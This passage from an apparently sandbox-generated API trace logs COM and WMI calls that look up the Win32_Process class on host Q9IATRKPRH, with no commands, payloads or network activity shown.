CoTaskMemFree (pv=0x11cd190) [0057.882] WbemLocator:IUnknown:AddRef (This=0x11c86d0) returned 0x2 [0057.882] WbemLocator:IUnknown:Release (This=0x11e0e20) returned 0x0 [0057.883] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0057.883] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0057.883] WbemLocator:IUnknown:QueryInterface (in: This=0x11c86d0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x11defb0) returned 0x0 [0057.883] WbemLocator:IRpcOptions:Query (in: This=0x11defb0, pPrx=0x11e0ea0, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0057.883] WbemLocator:IUnknown:Release (This=0x11defb0) returned 0x2 [0057.883] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0057.883] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0057.883] WbemLocator:IUnknown:QueryInterface (in: This=0x11c86d0, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x11c86d0) returned 0x0 [0057.883] WbemLocator:IUnknown:Release (This=0x11c86d0) returned 0x2 [0057.883] SysStringLen (param_1=0x0) returned 0x0 [0057.883] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a4c0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0057.884] WbemDefPath:IWbemPath:GetText (in: This=0x116a4c0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0057.884] WbemDefPath:IWbemPath:GetText (in: This=0x116a4c0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0057.884] WbemDefPath:IWbemPath:GetText (in: This=0x116a1c0, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0057.884] WbemDefPath:IWbemPath:GetText (in: This=0x116a1c0, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0057.884] IWbemServices:GetObject (in: This=0x11c86d0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x11e6870, ppCallResult=0x0) returned 0x0 [0057.895] IWbemClassObject:Get (in: This=0x11e6870, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0057.895] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0057.896] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0057.896] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0057.896] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0057.896] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0057.896] IUnknown:Release (This=0x111f638) returned 0x1 [0057.897] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x11e0e20) returned 0x0 [0057.898] WbemDefPath:IUnknown:QueryInterface (in: This=0x11e0e20, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0057.898] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11e0e20, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x116a580) returned 0x0 [0057.898] WbemDefPath:IUnknown:Release (This=0x11e0e20) returned 0x0 [0057.898] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a580, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x116a580) returned 0x0 [0057.898] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a580, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0057.898] WbemDefPath:IUnknown:AddRef (This=0x116a580) returned 0x3 [0057.898] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a580, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0057.898] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a580, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0057.898] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a580, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x11e0e40) returned 0x0 [0057.899] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11e0e40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0057.899] WbemDefPath:IUnknown:Release (This=0x11e0e40) returned 0x3 [0057.899] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0057.899] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0057.899] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a580, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0057.899] WbemDefPath:IUnknown:Release (This=0x116a580) returned 0x2 [0057.899] WbemDefPath:IUnknown:Release (This=0x116a580) returned 0x1 [0057.899] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0057.899] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0057.899] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a580, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x116a580) returned 0x0 [0057.899] WbemDefPath:IUnknown:AddRef (This=0x116a580) returned 0x3 [0057.899] WbemDefPath:IUnknown:Release (This=0x116a580) returned 0x2 [0057.899] WbemDefPath:IWbemPath:SetText (This=0x116a580, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0057.899] IWbemClassObject:Get (in: This=0x11e6870, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0057.899] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0057.900] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0057.900] IWbemClassObject:Get (in: This=0x11e6870, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0057.900] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0057.900] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0057.900] IWbemClassObject:Get (in: This=0x11e6870, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0057.900] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0057.900] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0057.900] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0057.900] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0057.900] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0057.900] IUnknown:Release (This=0x111f638) returned 0x1 [0057.902] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11e1000) returned 0x0 [0057.902] WbemDefPath:IUnknown:QueryInterface (in: This=0x11e1000, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0057.902] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11e1000, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x116a640) returned 0x0 [0057.902] WbemDefPath:IUnknown:Release (This=0x11e1000) returned 0x0 [0057.902] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a640, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x116a640) returned 0x0 [0057.903] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a640, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0057.903] WbemDefPath:IUnknown:AddRef (This=0x116a640) returned 0x3 [0057.903] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a640, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0057.903] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a640, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0057.903] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a640, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11e1040) returned 0x0 [0057.903] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11e1040, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0057.903] WbemDefPath:IUnknown:Release (This=0x11e1040) returned 0x3 [0057.903] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0057.903] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0057.903] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a640, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0057.903] WbemDefPath:IUnknown:Release (This=0x116a640) returned 0x2 [0057.903] WbemDefPath:IUnknown:Release (This=0x116a640) returned 0x1 [0057.903] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0057.903] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0057.903] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a640, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x116a640) returned 0x0 [0057.903] WbemDefPath:IUnknown:AddRef (This=0x116a640) returned 0x3 [0057.903] WbemDefPath:IUnknown:Release (This=0x116a640) returned 0x2 [0057.904] WbemDefPath:IWbemPath:SetText (This=0x116a640, uMode=0x4, pszPath="") returned 0x0 [0057.904] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0057.904] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0057.904] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0057.904] IUnknown:Release (This=0x111f638) returned 0x1 [0057.905] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11e1000) returned 0x0 [0057.906] WbemDefPath:IUnknown:QueryInterface (in: This=0x11e1000, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0057.906] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11e1000, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x116a700) returned 0x0 [0057.906] WbemDefPath:IUnknown:Release (This=0x11e1000) returned 0x0 [0057.906] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a700, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x116a700) returned 0x0 [0057.906] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a700, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0057.906] WbemDefPath:IUnknown:AddRef (This=0x116a700) returned 0x3 [0057.906] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a700, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0057.906] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a700, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0057.906] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a700, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11e1080) returned 0x0 [0057.906] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11e1080, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0057.906] WbemDefPath:IUnknown:Release (This=0x11e1080) returned 0x3 [0057.906] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0057.906] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0057.906] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a700, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0057.907] WbemDefPath:IUnknown:Release (This=0x116a700) returned 0x2 [0057.907] WbemDefPath:IUnknown:Release (This=0x116a700) returned 0x1 [0057.907] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0057.907] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0057.907] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a700, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x116a700) returned 0x0 [0057.907] WbemDefPath:IUnknown:AddRef (This=0x116a700) returned 0x3 [0057.907] WbemDefPath:IUnknown:Release (This=0x116a700) returned 0x2 [0057.907] WbemDefPath:IWbemPath:SetText (This=0x116a700, uMode=0x4, pszPath="") returned 0x0 [0057.907] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a700, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0057.907] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a640, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0057.907] WbemDefPath:IWbemPath:GetClassName (in: This=0x116a700, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0057.907] WbemDefPath:IWbemPath:GetServer (in: This=0x116a700, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0057.907] WbemDefPath:IWbemPath:SetServer (This=0x116a700, Name="Q9IATRKPRH") returned 0x0 [0057.907] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0057.907] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0057.907] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0057.907] IUnknown:Release (This=0x111f638) returned 0x1 [0057.909] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11e10a0) returned 0x0 [0057.909] WbemDefPath:IUnknown:QueryInterface (in: This=0x11e10a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0057.909] 